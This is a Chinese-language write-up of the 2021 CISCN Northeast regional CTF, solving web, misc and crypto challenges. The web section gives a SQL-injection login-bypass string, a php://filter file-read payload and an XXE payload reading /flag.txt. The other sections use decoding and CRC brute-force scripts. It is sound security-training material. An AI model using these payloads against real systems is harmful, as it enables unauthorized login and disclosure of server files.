比赛名称:
2021CISCN - 东北赛区
比赛考点:
- 维吉尼亚密钥爆破
- php 伪协议
- sql 注入
- XXE 攻击
- CRC 爆破宽高
- 文件头修复
# web
# 1. 简单的注入
使用万能密码,登录后台,得到 flag。
账号 admin
密码 ‘^(1)=(1)#
# 2.Be_Careful
先读取 index.php 的文件
?file=php://filter/read=convert.base64-encode/resource=index.php
在尾部发现了 real_flag.php,之后再读取 real_flag.php
?file=php://filter/read=convert.base64-encode/resource= real_flag.php
所以将 number 的数转 16 进制
Payload:
url/real_flag.php?a=0x10324a6ae2
# 3.flagin
XXE 攻击
直接打
<!DOCTYPE ANY [ | |
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt" | |
]> | |
<user><username>&test;</username><password>123</password></user> |
原题链接:https://www.cnblogs.com/tqing/p/11852412.html
# MISC
# 1. 签到
给个二维码,扫一下就是 flag
# 2.FlanPng
CRC 爆破宽高,跑完就能得到 flag
import binascii | |
import struct | |
import sys | |
file = input("图片地址:") | |
fr = open(file,'rb').read() | |
data = bytearray(fr[0x0c:0x1d]) | |
crc32key = eval('0x'+str(binascii.b2a_hex(fr[0x1d:0x21]))[2:-1]) | |
#原来的代码: crc32key = eval (str (fr [29:33]).replace ('\\x','').replace ("b'",'0x').replace ("'",'')) | |
n = 4095 | |
for w in range(n): | |
width = bytearray(struct.pack('>i', w)) | |
for h in range(n): | |
height = bytearray(struct.pack('>i', h)) | |
for x in range(4): | |
data[x+4] = width[x] | |
data[x+8] = height[x] | |
crc32result = binascii.crc32(data) & 0xffffffff | |
if crc32result == crc32key: | |
print(width,height) | |
newpic = bytearray(fr) | |
for x in range(4): | |
newpic[x+16] = width[x] | |
newpic[x+20] = height[x] | |
fw = open(file+'.png','wb') | |
fw.write(newpic) | |
fw.close | |
sys.exit() |
# 3.huahua
补文件头,修复 png 头,然后 crc 爆破宽高
(crc 脚本在上面)
# 4.sudoku
解数独,对角线为压缩包密文
事实上:直接爆破 9 位数字密码,就解开压缩包了
# 5.Vigenère
爆破密钥,然后 md5 提交即可。
# crypto
# 1.Sign me up
一大串编码,看到后面 ==,一直进行 base64 解码得到 flag
# 2.easy_caesar
凯撒,unicode 凯撒密码爆破
strln = "怦恺恮恫怦恗恴悁恴怵恲恾恼恴悂怳悃恷恴恬悄恽恀恲怿恳恴怽恪恵恀恐恶恀悂悊恂恲恂恱恇恂恁恁恇恆恰恄恄恆恇恱恂恄恀恀恵恲恳恆恃恇恅恵恃恴恵恈悌怵怴恞怲怲怴怵恟怰怲怮怮恣恠恡怴怱怵怳"
for (offset = -65535;offset <65000;offset++){
var strOut="";
var newstr="" ;
for(var i=0;i<strln.length;i++){
newstr=strln.charCodeAt(i);
if(newstr==13)
strOut+="\r";
else if(newstr==10)
strOut+=" ";
else
strOut+=String.fromCharCode(strln.charCodeAt(i)+offset);
}
console.log(strOut)
}
这个脚本没有复现成功,不知道是不是脚本问题,希望大师傅们能留言教教。
# 3.ciphertext
Ook 编码解出是 flag {fd62371a16e34b
Brainfuck 编码解出是 4236af4c815c70d2c2}
将两段组合起来即为 flag
# 4.superman
解开,一个 png,头有问题,修复一下,获得图片
直接 010 拉到最下,获得密文
U2FsdGVkX183lRElTLLADdk5IuMJH7LkLIyITIxXFSBsTbEI8TnmabzF6BTvpoRUHCSc7tprlyVqpBX8bCaN833NjMzk0yRXFJNlNBimahWrja++4RwE8/BllIrnHI6eFXk4ZcUEptAJV7OYJkLkdg==
以 iamback 作为密钥,AES 解密两次获得 flag。